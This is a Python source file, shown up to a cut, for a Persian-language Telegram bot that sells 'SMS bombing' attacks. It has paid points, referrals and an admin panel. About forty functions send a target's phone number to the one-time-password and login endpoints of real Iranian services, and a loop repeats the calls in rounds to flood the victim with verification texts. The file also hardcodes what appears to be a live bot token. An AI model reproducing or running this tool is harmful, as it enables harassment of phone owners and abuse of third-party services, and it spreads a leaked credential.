import asyncio
import json
import hashlib
import random
import traceback
import urllib3
from os import system as os_system, name as os_name
from re import match, sub
from threading import Thread, Event, Lock
from time import sleep, time
from collections import defaultdict
from pathlib import Path
from datetime import datetime, timedelta

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

from telegram import (
    Update, InlineKeyboardButton, InlineKeyboardMarkup, ReplyKeyboardMarkup
)
from telegram.ext import (
    Application, CommandHandler, MessageHandler, CallbackQueryHandler, filters, ContextTypes
)

# ==================== تنظیمات ====================
BOT_TOKEN = "9096577207:AAFtGUpYUa_T9VO8PdQqWVTURBYpZO1e_s0"
ADMIN_CHAT_ID ="8932572140"
ADMIN_USERNAME = "@Nemeror"
DATA_FILE = Path("bot_data.json")
LOG_FILE = 'log_v6.txt'

CARD_NUMBER = "0000"
CARD_HOLDER ="Arman"
BANK_NAME ="کارت ندارم xD"

last_operation = {}
stop_events = {}
user_states = defaultdict(dict)
support_sessions = {}

_data_lock = Lock()
_states_lock = Lock()

BUY_POINTS_PRICES = {
    10: 20000, 20: 40000, 30: 60000, 40: 80000, 50: 100000,
    100: 150000, 200: 300000, 300: 450000, 400: 600000, 500: 700000
}

DEFAULT_SERVICE_STATUS = {
    'divar': True, 'nobatir': True, 'alopeyk_login': True, 'alopeyk_signup': True,
    'shahrefarsh': True, 'snapp_express': True, 'azki': True, 'digikala_jet': True,
    'snapp_drivers': True, 'ostadkar': True, 'miare': True, 'tapsi_drivers': True,
    'tapsi_passenger': True, 'banimode': True, 'taaghche_login': True,
    'taaghche_signup': True, 'mobit': True, 'jabama': True, 'ghabzino': True,
    'komodaa': True, 'barghe_man': True, 'vandar': True, 'pinorest': True,
    'tetherland': True, 'alibaba': True, 'drdr': True, 'drnext': True,
    'classino': True, 'takshopaccessorise': True, 'snap': True, 'tap30': True,
    'torob': True, 'snapfood': True, 'sheypoor': True, 'basalam': True,
    'filmnet': True, 'sTrip': True, 'digikala': True, 'flightio': True,
    'gap': True, 'tbourse': True, 'itoll': True
}

_data_cache = None
_data_cache_time = 0
CACHE_TTL = 2

MAIN_LOOP = None


# ==================== توابع کمکی ====================
def _default_data():
    return {
        "users": {},
        "banned_users": [],
        "personal_blacklist": [],
        "owner_blacklist": [],
        "bot_settings": {"cooldown_seconds": 60},
        "service_status": DEFAULT_SERVICE_STATUS.copy(),
        "service_stats": {name: {'success': 0, 'failure': 0} for name in DEFAULT_SERVICE_STATUS},
        "referrals": {},
        "points": {},
        "pending_referral": {},
        "daily_rewards": {},
        "free_bombs": {},
        "pending_orders": {},
        "support_tickets": {},
        "help_link": "https://t.me/MR_P_rogramming",
        "security_info": "ربات با پروتکل HTTPS و احراز هویت دو مرحله‌ای کار می‌کند.",
        "bot_username": "YourBot"
    }


def load_data():
    global _data_cache, _data_cache_time
    current_time = time()

    with _data_lock:
        if _data_cache is not None and (current_time - _data_cache_time) < CACHE_TTL:
            return _data_cache

        if not DATA_FILE.exists():
            initial_data = _default_data()
            try:
                with DATA_FILE.open('w', encoding='utf-8') as f:
                    json.dump(initial_data, f, indent=4, ensure_ascii=False)
            except Exception as e:
                print(f"[خطا] ساخت فایل ناموفق: {e}")
            _data_cache = initial_data
            _data_cache_time = current_time
            return initial_data

        try:
            with DATA_FILE.open('r', encoding='utf-8') as f:
                data = json.load(f)
        except Exception as e:
            print(f"[خطا] خواندن فایل {DATA_FILE} ناموفق بود: {e}")
            data = _default_data()
            try:
                with DATA_FILE.open('w', encoding='utf-8') as f:
                    json.dump(data, f, indent=4, ensure_ascii=False)
            except:
                pass

        defaults = _default_data()
        for key, val in defaults.items():
            data.setdefault(key, val)

        loaded_services = data.get("service_status", {})
        updated_services = DEFAULT_SERVICE_STATUS.copy()
        updated_services.update(loaded_services)
        data["service_status"] = updated_services

        data.setdefault("service_stats", {})
        for service in DEFAULT_SERVICE_STATUS:
            if service not in data["service_stats"]:
                data["service_stats"][service] = {'success': 0, 'failure': 0}

        data.setdefault("support_tickets", {})

        _data_cache = data
        _data_cache_time = current_time
        return data


def save_data(data):
    global _data_cache, _data_cache_time
    with _data_lock:
        try:
            with DATA_FILE.open('w', encoding='utf-8') as f:
                json.dump(data, f, indent=4, ensure_ascii=False)
            _data_cache = data
            _data_cache_time = time()
        except Exception as e:
            print(f"[خطا] ذخیره داده‌ها ناموفق بود: {e}")


def invalidate_cache():
    global _data_cache, _data_cache_time
    with _data_lock:
        _data_cache = None
        _data_cache_time = 0


def generate_referral_code(user_id):
    hash_obj = hashlib.md5(f"{user_id}{time()}".encode())
    return hash_obj.hexdigest()[:8].upper()


def get_user_referral_link(user_id):
    data = load_data()
    user_id_str = str(user_id)
    if user_id_str not in data["referrals"]:
        code = generate_referral_code(user_id)
        data["referrals"][user_id_str] = {
            "code": code,
            "referred_by": None,
            "referred_users": []
        }
        save_data(data)
        invalidate_cache()
    else:
        code = data["referrals"][user_id_str]["code"]
    bot_username = data.get("bot_username", "YourBot")
    return f"https://t.me/{bot_username}?start={code}"


def add_points(user_id, points):
    data = load_data()
    user_id_str = str(user_id)
    if user_id_str not in data["points"]:
        data["points"][user_id_str] = 0
    data["points"][user_id_str] += points
    save_data(data)
    invalidate_cache()
    return data["points"][user_id_str]


def get_user_points(user_id):
    data = load_data()
    return data["points"].get(str(user_id), 0)


def process_referral(user_id, ref_code):
    data = load_data()
    user_id_str = str(user_id)

    if not ref_code:
        return False, None, 0

    ref_code = ref_code.strip().upper()
    referrer_id = None
    for uid, ref_data in data["referrals"].items():
        if ref_data.get("code") == ref_code:
            referrer_id = uid
            break

    if referrer_id and referrer_id != user_id_str:
        existing = data["referrals"].get(user_id_str, {})
        if existing.get("referred_by"):
            return False, None, 0

        if user_id_str not in data["referrals"]:
            data["referrals"][user_id_str] = {
                "code": generate_referral_code(user_id),
                "referred_by": referrer_id,
                "referred_users": []
            }
        else:
            data["referrals"][user_id_str]["referred_by"] = referrer_id

        if user_id_str not in data["referrals"][referrer_id]["referred_users"]:
            data["referrals"][referrer_id]["referred_users"].append(user_id_str)

        data["points"][referrer_id] = data["points"].get(referrer_id, 0) + 1
        save_data(data)
        invalidate_cache()
        return True, referrer_id, data["points"][referrer_id]

    return False, None, 0


def get_referral_stats(user_id):
    data = load_data()
    user_id_str = str(user_id)
    if user_id_str in data["referrals"]:
        ref_data = data["referrals"][user_id_str]
        return {
            "code": ref_data["code"],
            "referred_by": ref_data.get("referred_by"),
            "referred_count": len(ref_data.get("referred_users", [])),
            "points": get_user_points(user_id)
        }
    return None


def check_daily_reward(user_id):
    data = load_data()
    user_id_str = str(user_id)
    last_reward = data['daily_rewards'].get(user_id_str)

    if last_reward:
        try:
            last_time = datetime.fromisoformat(last_reward)
            if datetime.now() - last_time < timedelta(hours=24):
                remaining = timedelta(hours=24) - (datetime.now() - last_time)
                hours = remaining.seconds // 3600
                minutes = (remaining.seconds % 3600) // 60
                return False, f"⏳ هنوز {hours} ساعت و {minutes} دقیقه دیگر باقی مانده است!"
        except Exception:
            pass

    add_points(user_id, 1)
    data['daily_rewards'][user_id_str] = datetime.now().isoformat()
    save_data(data)
    invalidate_cache()
    return True, f"✅ 1 امتیاز دریافت کردید!\n⭐ امتیاز فعلی شما: {get_user_points(user_id)}"


def check_free_bomb(user_id):
    data = load_data()
    user_id_str = str(user_id)
    last_bomb = data['free_bombs'].get(user_id_str)

    if last_bomb:
        try:
            last_time = datetime.fromisoformat(last_bomb)
            if datetime.now() - last_time < timedelta(hours=24):
                remaining = timedelta(hours=24) - (datetime.now() - last_time)
                hours = remaining.seconds // 3600
                minutes = (remaining.seconds % 3600) // 60
                return False, f"⏳ هنوز {hours} ساعت و {minutes} دقیقه دیگر باقی مانده است!"
        except Exception:
            pass

    data['free_bombs'][user_id_str] = datetime.now().isoformat()
    save_data(data)
    invalidate_cache()
    return True, "✅ 50 اسمس بمبر رایگان فعال شد!"


def normalize_phone(phone: str):
    if not phone:
        return None
    cleaned_phone = sub(r'[^\d+]', '', str(phone))
    m = match(r"^(?:\+98|0098|98|0)?(9\d{9})$", cleaned_phone)
    if m:
        return f"+98{m.group(1)}"
    return None


def get_progress_bar(progress_percent):
    bar_length = 10
    filled_count = int(bar_length * progress_percent // 100)
    bar = "🟩" * filled_count + "⬛" * (bar_length - filled_count)
    emojis = ["🌑", "🌒", "🌓", "🌔", "🌕", "🌖", "🌗", "🌘"]
    emoji_index = int((progress_percent / 100) * (len(emojis) - 1))
    return f"[{bar}] {emojis[emoji_index]}"


def curl_sms(url: str, body: str, headers: dict = None, is_json=False):
    try:
        if is_json:
            response = requests.post(url, json=json.loads(body), headers=headers, verify=False, timeout=10)
        else:
            response = requests.post(url, data=body, headers=headers, verify=False, timeout=10)
        return 200 <= response.status_code < 300
    except Exception:
        return False


def update_service_stats(service_name, success):
    data = load_data()
    key = 'success' if success else 'failure'
    if service_name in data['service_stats']:
        data['service_stats'][service_name][key] += 1
        save_data(data)


# ==================== سرویس‌ها ====================
def divar(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.divar.ir/v5/auth/authenticate', json.dumps({'phone': p}), {'Content-Type': 'application/json'}, is_json=True)

def nobatir(phone):
    p = phone.replace('+98', '0')
    body = f"------WebKitFormBoundary5wscOwxMqnICoiZY\r\nContent-Disposition: form-data; name=\"mobile\"\r\n\r\n{p}\r\n------WebKitFormBoundary5wscOwxMqnICoiZY--\r\n"
    headers = {'content-type': 'multipart/form-data; boundary=----WebKitFormBoundary5wscOwxMqnICoiZY'}
    return curl_sms('https://nobat.ir/api/public/patient/login/phone', body, headers)

def alopeyk_login(phone):
    p = phone.replace('+98', '')
    body = json.dumps({"type": "CUSTOMER", "phone": p})
    return curl_sms('https://api.alopeyk.com/api/v2/login?platform=pwa', body, {'content-type': 'application/json'}, is_json=True)

def alopeyk_signup(phone):
    p = phone.replace('+98', '0')
    body = json.dumps({"type": "CUSTOMER", "firstname": "تست", "lastname": "تست", "phone": p})
    return curl_sms('https://api.alopeyk.com/api/v2/register-customer?platform=pwa', body, {'content-type': 'application/json'}, is_json=True)

def shahrefarsh(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://shahrfarsh.com/Account/Login', f'phoneNumber={p}')

def snapp_express(phone):
    p = phone.replace('+98', '0')
    body = f'cellphone={p}&captcha=&optionalLoginToken=true&local='
    return curl_sms('https://api.snapp.express/mobile/v4/user/loginMobileWithNoPass?client=PWA', body)

def azki(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://www.azki.com/api/vehicleorder/v2/app/auth/check-login-availability/', json.dumps({"phoneNumber": p}), {'content-type': 'application/json'}, is_json=True)

def digikala_jet(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.digikalajet.ir/user/login-register/', json.dumps({'phone': p}), {'content-type': 'application/json'}, is_json=True)

def snapp_drivers(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://digitalsignup.snapp.ir/ds3/api/v3/otp', json.dumps({'cellphone': p}), is_json=True)

def ostadkar(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.ostadkr.com/login', json.dumps({'mobile': p}), is_json=True)

def miare(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://www.miare.ir/api/otp/driver/request/', json.dumps({'phone_number': p}), {'Content-Type': 'application/json'}, is_json=True)

def tapsi_drivers(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.tapsi.ir/api/v2.2/user', json.dumps({'credential': {'phoneNumber': p, 'role': 'DRIVER'}, 'otpOption': 'SMS'}), {'content-type': 'application/json'}, is_json=True)

def tapsi_passenger(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.tapsi.ir/api/v2.2/user', json.dumps({'credential': {'phoneNumber': p, 'role': 'PASSENGER'}, 'otpOption': 'SMS'}), {'content-type': 'application/json'}, is_json=True)

def banimode(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://mobapi.banimode.com/api/v2/auth/request', json.dumps({'phone': p}), {'Content-Type': 'application/json'}, is_json=True)

def taaghche_login(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://gw.taaghche.com/v4/site/auth/login', json.dumps({'contact': p, 'forceOtp': False}), {'content-type': 'application/json'}, is_json=True)

def taaghche_signup(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://gw.taaghche.com/v4/site/auth/signup', json.dumps({'contact': p}), {'content-type': 'application/json'}, is_json=True)

def mobit(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.mobit.ir/api/web/v8/register/register', json.dumps({'number': p}), {'content-type': 'application/json'}, is_json=True)

def jabama(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://taraazws.jabama.com/api/v4/account/send-code', json.dumps({'mobile': p}), {'Content-Type': 'application/json'}, is_json=True)

def ghabzino(phone):
    p = phone.replace('+98', '0')
    body = json.dumps({"Parameters": {"MobileNumber": p}})
    return curl_sms('https://application2.billingsystem.ayantech.ir/WebServices/Core.svc/requestActivationCode', body, {'content-type': 'application/json'}, is_json=True)

def komodaa(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.komodaa.com/api/v2.6/loginRC/request', json.dumps({'phone_number': p}), {'Content-Type': 'application/json'}, is_json=True)

def barghe_man(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://uiapi2.saapa.ir/api/otp/sendCode', json.dumps({'mobile': p}), is_json=True)

def vandar(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.vandar.io/account/v1/check/mobile', json.dumps({'mobile': p}), {'content-type': 'application/json'}, is_json=True)

def pinorest(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://api.pinorest.com/frontend/auth/login/mobile', json.dumps({'mobile': p}), {'content-type': 'application/json'}, is_json=True)

def tetherland(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://service.tetherland.com/api/v5/login-register', json.dumps({'mobile': p}), {'content-type': 'application/json'}, is_json=True)

def alibaba(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://ws.alibaba.ir/api/v3/account/mobile/otp', json.dumps({'phoneNumber': p}), {'Content-Type': 'application/json'}, is_json=True)

def drdr(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://drdr.ir/api/v3/auth/login/mobile/init', json.dumps({'mobile': p}), {'content-type': 'application/json'}, is_json=True)

def drnext(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://cyclops.drnext.ir/v1/patients/auth/send-verification-token', json.dumps({'mobile': p}), {'content-type': 'application/json'}, is_json=True)

def classino(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://student.classino.com/otp/v1/api/login', json.dumps({'mobile': p}), {'Content-Type': 'application/json'}, is_json=True)

def takshopaccessorise(phone):
    p = phone.replace('+98', '0')
    return curl_sms('https://takshopaccessorise.ir/api/v1/sessions/login_request', json.dumps({'mobile_phone': p}), {'content-type': 'application/json'}, is_json=True)

def snap(phone):
    try:
        requests.post("https://app.snapp.taxi/api/api-passenger-oauth/v2/otp", json={"cellphone": phone}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def tap30(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post("https://tap33.me/api/v2/user", json={"credential": {"phoneNumber": p, "role": "PASSENGER"}}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def torob(phone):
    try:
        p = '0' + phone.split('+98')[1]
        requests.get(f"https://api.torob.com/a/phone/send-pin/?phone_number={p}", timeout=7, verify=False)
        return True
    except Exception:
        return False

def snapfood(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post('https://snappfood.ir/mobile/v2/user/loginMobileWithNoPass', json={"cellphone": p}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def digikala(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post("https://api.digikala.com/v1/user/otp/", json={"username": p}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def flightio(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post("https://flightio.com/api/v2.2/customer/authentication/otp/send", json={"mobile": p}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def sheypoor(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post('https://www.sheypoor.com/auth', json={"username": p}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def basalam(phone):
    try:
        p = '0' + phone.split('+98')[1]
        data = {"query": "mutation verificationCodeRequest($mobile: MobileScalar!) { mobileVerificationCodeRequest(mobile: $mobile) { success } }", "variables": {"mobile": p}}
        requests.post('https://api.basalam.com/user', json=data, timeout=7, verify=False)
        return True
    except Exception:
        return False

def sTrip(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post('https://www.snapptrip.com/register', json={"mobile_phone": p}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def gap(phone):
    try:
        requests.get(f"https://core.gap.im/v1/user/add.json?phone={phone.split('+')[1]}", timeout=7, verify=False)
        return True
    except Exception:
        return False

def tbourse(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post("https://api.irantbours.com:443/api/v1/access/join/mobile/request", json={"mobile": p}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def itoll(phone):
    try:
        p = "0" + phone.split("+98")[1]
        requests.post("https://app.itoll.com/api/v1/auth/login", json={"mobile": p}, timeout=7, verify=False)
        return True
    except Exception:
        return False

def filmnet(phone):
    try:
        requests.get(f"https://api-v2.filmnet.ir/access-token/users/{phone.replace('+98', '0')}/otp", timeout=7, verify=False)
        return True
    except Exception:
        return False


ALL_SERVICES_MAP = {
    'divar': divar, 'nobatir': nobatir, 'alopeyk_login': alopeyk_login, 'alopeyk_signup': alopeyk_signup,
    'shahrefarsh': shahrefarsh, 'snapp_express': snapp_express, 'azki': azki, 'digikala_jet': digikala_jet,
    'snapp_drivers': snapp_drivers, 'ostadkar': ostadkar, 'miare': miare, 'tapsi_drivers': tapsi_drivers,
    'tapsi_passenger': tapsi_passenger, 'banimode': banimode, 'taaghche_login': taaghche_login,
    'taaghche_signup': taaghche_signup, 'mobit': mobit, 'jabama': jabama, 'ghabzino': ghabzino,
    'komodaa': komodaa, 'barghe_man': barghe_man, 'vandar': vandar, 'pinorest': pinorest,
    'tetherland': tetherland, 'alibaba': alibaba, 'drdr': drdr, 'drnext': drnext,
    'classino': classino, 'takshopaccessorise': takshopaccessorise, 'snap': snap, 'tap30': tap30,
    'torob': torob, 'snapfood': snapfood, 'sheypoor': sheypoor, 'basalam': basalam,
    'filmnet': filmnet, 'sTrip': sTrip, 'digikala': digikala, 'flightio': flightio,
    'gap': gap, 'tbourse': tbourse, 'itoll': itoll
}


def get_active_services():
    data = load_data()
    service_status = data.get("service_status", {})
    return {name: func for name, func in ALL_SERVICES_MAP.items() if service_status.get(name, False)}


# ==================== کیپدها ====================
HOME_BTN = "🏠 بازگشت به منوی اصلی"

def main_menu_reply_keyboard():
    keyboard = [
        ["💣 شروع عملیات جدید"],
        ["🎁 اسمس بمبر رایگان"],
        ["📊 آمار من", "⭐ امتیازات من"],
        ["🎁 دریافت پاداش روزانه"],
        ["🔗 لینک ارجاع", "🔑 وارد کردن کد دعوت"],
        ["💰 خرید امتیاز", "🎧 پشتیبانی"],
        ["🛡 لیست سیاه شخصی"],
        ["📢 کانال ما", "❓ راهنما"],
    ]
    return ReplyKeyboardMarkup(keyboard, resize_keyboard=True)


def cancel_reply_keyboard(text=HOME_BTN):
    return ReplyKeyboardMarkup([[text]], resize_keyboard=True)


def cancel_op_reply_keyboard(text="🚫 لغو عملیات"):
    return ReplyKeyboardMarkup([[text], [HOME_BTN]], resize_keyboard=True)


def home_inline_keyboard():
    return InlineKeyboardMarkup([[InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")]])


def referral_code_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("⏭️ رد کردن", callback_data="skip_referral")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def back_inline_keyboard(text="🏠 بازگشت به منوی اصلی"):
    return InlineKeyboardMarkup([[InlineKeyboardButton(text, callback_data="go_home")]])


def attack_type_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("💥 حمله با تمام سرویس‌ها", callback_data="attack_all")],
        [InlineKeyboardButton("🎯 حمله با سرویس‌های منتخب", callback_data="attack_select")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def rounds_inline_keyboard():
    return InlineKeyboardMarkup([
        [
            InlineKeyboardButton("۱ دور", callback_data="rounds_1"),
            InlineKeyboardButton("۲ دور", callback_data="rounds_2"),
            InlineKeyboardButton("۳ دور", callback_data="rounds_3"),
        ],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def intensity_inline_keyboard():
    return InlineKeyboardMarkup([
        [
            InlineKeyboardButton("🐌 آهسته", callback_data="delay_1.5"),
            InlineKeyboardButton("⚡ متوسط", callback_data="delay_0.8"),
            InlineKeyboardButton("🔥 سریع", callback_data="delay_0.3"),
        ],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def confirmation_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("✅ تایید و شروع حمله", callback_data="confirm_attack")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def service_selection_inline_keyboard(chat_id):
    state = user_states.get(chat_id, {})
    selected_services = state.get('selected_services', [])
    active_services = sorted(get_active_services().keys())

    rows = []
    for i in range(0, len(active_services), 2):
        row = []
        name1 = active_services[i]
        status1 = "✅" if name1 in selected_services else "☑️"
        row.append(InlineKeyboardButton(f"{status1} {name1.title()}", callback_data=f"select_service_{name1}"))
        if i + 1 < len(active_services):
            name2 = active_services[i + 1]
            status2 = "✅" if name2 in selected_services else "☑️"
            row.append(InlineKeyboardButton(f"{status2} {name2.title()}", callback_data=f"select_service_{name2}"))
        rows.append(row)

    rows.append([InlineKeyboardButton("▶️ ثبت انتخاب و ادامه", callback_data="confirm_service_selection")])
    rows.append([InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")])
    return InlineKeyboardMarkup(rows)


def buy_points_inline_keyboard():
    return InlineKeyboardMarkup([
        [
            InlineKeyboardButton("10⭐ = 20هزار", callback_data="buy_10"),
            InlineKeyboardButton("20⭐ = 40هزار", callback_data="buy_20"),
            InlineKeyboardButton("30⭐ = 60هزار", callback_data="buy_30"),
        ],
        [
            InlineKeyboardButton("40⭐ = 80هزار", callback_data="buy_40"),
            InlineKeyboardButton("50⭐ = 100هزار", callback_data="buy_50"),
        ],
        [
            InlineKeyboardButton("100⭐ = 150هزار", callback_data="buy_100"),
            InlineKeyboardButton("200⭐ = 300هزار", callback_data="buy_200"),
            InlineKeyboardButton("300⭐ = 450هزار", callback_data="buy_300"),
        ],
        [
            InlineKeyboardButton("400⭐ = 600هزار", callback_data="buy_400"),
            InlineKeyboardButton("500⭐+100⭐ = 700هزار", callback_data="buy_500"),
        ],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def buy_confirm_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("✅ پرداخت کردم", callback_data="buy_confirm_paid")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def referral_inline_keyboard():
    return InlineKeyboardMarkup([
        [
            InlineKeyboardButton("📊 آمار ارجاع", callback_data="referral_stats"),
            InlineKeyboardButton("💰 خرید امتیاز", callback_data="buy_points"),
        ],
        [InlineKeyboardButton("🔑 وارد کردن کد دعوت", callback_data="enter_referral")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def admin_panel_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("📊 آمار کلی", callback_data="admin_stats")],
        [InlineKeyboardButton("👥 مدیریت کاربران", callback_data="admin_users")],
        [InlineKeyboardButton("⭐ افزودن امتیاز", callback_data="admin_add_points")],
        [InlineKeyboardButton("🛒 سفارشات خرید", callback_data="admin_orders")],
        [InlineKeyboardButton("📢 پیام همگانی", callback_data="admin_broadcast")],
        [InlineKeyboardButton("🎧 تیکت‌های پشتیبانی", callback_data="admin_support_tickets")],
        [InlineKeyboardButton("👑 پنل مالک", callback_data="admin_owner_panel")],
        [InlineKeyboardButton("🛡 لیست سیاه مالک", callback_data="admin_blacklist")],
        [InlineKeyboardButton("🔒 امنیت و وب‌سرویس", callback_data="admin_security")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def admin_users_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("📊 آمار کاربران", callback_data="admin_user_stats")],
        [InlineKeyboardButton("🟢 کاربران فعال", callback_data="admin_active_users")],
        [InlineKeyboardButton("🔴 کاربران غیرفعال", callback_data="admin_inactive_users")],
        [InlineKeyboardButton("🚫 کاربران مسدود", callback_data="admin_banned_users_list")],
        [InlineKeyboardButton("🚫 مسدود کردن کاربر", callback_data="admin_ban_user")],
        [InlineKeyboardButton("✅ رفع مسدودیت", callback_data="admin_unban_user")],
        [InlineKeyboardButton("↩️ بازگشت به پنل ادمین", callback_data="back_to_admin")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def admin_order_inline_keyboard(order_id):
    return InlineKeyboardMarkup([
        [
            InlineKeyboardButton("✅ تایید سفارش", callback_data=f"approve_order_{order_id}"),
            InlineKeyboardButton("❌ رد سفارش", callback_data=f"reject_order_{order_id}"),
        ]
    ])


def owner_panel_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("➕ افزودن به لیست سیاه", callback_data="owner_blacklist_add")],
        [InlineKeyboardButton("➖ حذف از لیست سیاه", callback_data="owner_blacklist_remove")],
        [InlineKeyboardButton("📋 لیست سیاه", callback_data="owner_blacklist_list")],
        [InlineKeyboardButton("💣 بمب نامحدود", callback_data="owner_unlimited_bomb")],
        [InlineKeyboardButton("↩️ بازگشت به پنل ادمین", callback_data="back_to_admin")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def support_menu_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("📝 ارسال پیام به پشتیبانی", callback_data="support_send")],
        [InlineKeyboardButton("📋 تیکت‌های من", callback_data="support_my_tickets")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


def broadcast_confirm_inline_keyboard():
    return InlineKeyboardMarkup([
        [InlineKeyboardButton("✅ ارسال همگانی", callback_data="broadcast_confirm")],
        [InlineKeyboardButton("🏠 بازگشت به منوی اصلی", callback_data="go_home")],
    ])


# ==================== عملیات بمب‌گذاری ====================
def bombing_run_with_progress(bot_app, chat_id, message_id, phone, delay, rounds, stop_event, selected_services_map):
    total_successful_requests = 0
    total_failed_requests = 0
    last_update_text = ""
    last_update_time = 0

    if chat_id not in last_operation:
        last_operation[chat_id] = {}
    last_operation[chat_id][phone] = time()

    for round_num in range(1, rounds + 1):
        if stop_event.is_set():
            break

        services_to_run = list(selected_services_map.items())
        random.shuffle(services_to_run)
        total_services_in_round = len(services_to_run)

        successful_in_round = []
        failed_in_round = []

        for i, (service_name, service_func) in enumerate(services_to_run):
            if stop_event.is_set():
                break

            try:
                result = service_func(phone)
            except Exception as e:
                result = False
                print(f"خطا در سرویس {service_name}: {e}")

            if result:
                total_successful_requests += 1
                successful_in_round.append(service_name.title())
            else:
                total_failed_requests += 1
                failed_in_round.append(service_name.title())

            progress_percent = int(((i + 1) / total_services_in_round) * 100)

            successful_text = f"✅ موفق ({len(successful_in_round)}): " + ", ".join(successful_in_round) if successful_in_round else ""
            failed_text = f"\n❌ ناموفق ({len(failed_in_round)}): " + ", ".join(failed_in_round) if failed_in_round else ""

            new_text = (
                f"🎯 در حال اجرای عملیات...\n\n"
                f"📱 شماره هدف: {phone}\n"
                f"🔄 دور: {round_num} / {rounds}\n\n"
                f"{get_progress_bar(progress_percent)} {progress_percent}%\n"
                f"🔩 سرویس فعلی: {service_name.title()}\n\n"
                f"--- نتایج این دور ---\n"
                f"{successful_text}{failed_text}"
            )

            current_time = time()
            if new_text != last_update_text and (current_time - last_update_time) >= 1.5:
                try:
                    future = asyncio.run_coroutine_threadsafe(
                        bot_app.bot.edit_message_text(
                            chat_id=int(chat_id), message_id=message_id, text=new_text
                        ),
                        MAIN_LOOP
                    )
                    future.result(timeout=5)
                    last_update_text = new_text
                    last_update_time = current_time
                except Exception as e:
                    print(f"خطا در ویرایش پیام: {e}")

            sleep(delay)

    data = load_data()
    user_data = data['users'].get(str(chat_id), {})
    user_data['attack_count'] = user_data.get('attack_count', 0) + 1
    user_data['total_sms_sent'] = user_data.get('total_sms_sent', 0) + total_successful_requests
    data['users'][str(chat_id)] = user_data
    save_data(data)
    invalidate_cache()

    final_text = (
        f"✅ عملیات با موفقیت به پایان رسید\n\n"
        f"📱 شماره هدف: {phone}\n"
        f"🔄 دورهای انجام شده: {rounds}\n\n"
        f"📈 نتایج نهایی:\n"
        f"   - ✅ ارسال‌های موفق: {total_successful_requests}\n"
        f"   - ❌ ارسال‌های ناموفق: {total_failed_requests}"
    )

    if stop_event.is_set():
        final_text = f"🚫 عملیات برای شماره {phone} توسط شما لغو شد."

    if chat_id in stop_events:
        try:
            del stop_events[chat_id]
        except KeyError:
            pass

    async def send_final_messages():
        try:
            await bot_app.bot.edit_message_text(
                chat_id=int(chat_id), message_id=message_id, text=final_text
            )
        except Exception as e:
            print(f"خطا در ویرایش پیام نهایی: {e}")
        try:
            await bot_app.bot.send_message(
                chat_id=int(chat_id),
                text="👇 برای شروع عملیات جدید، از منوی زیر استفاده کنید:",
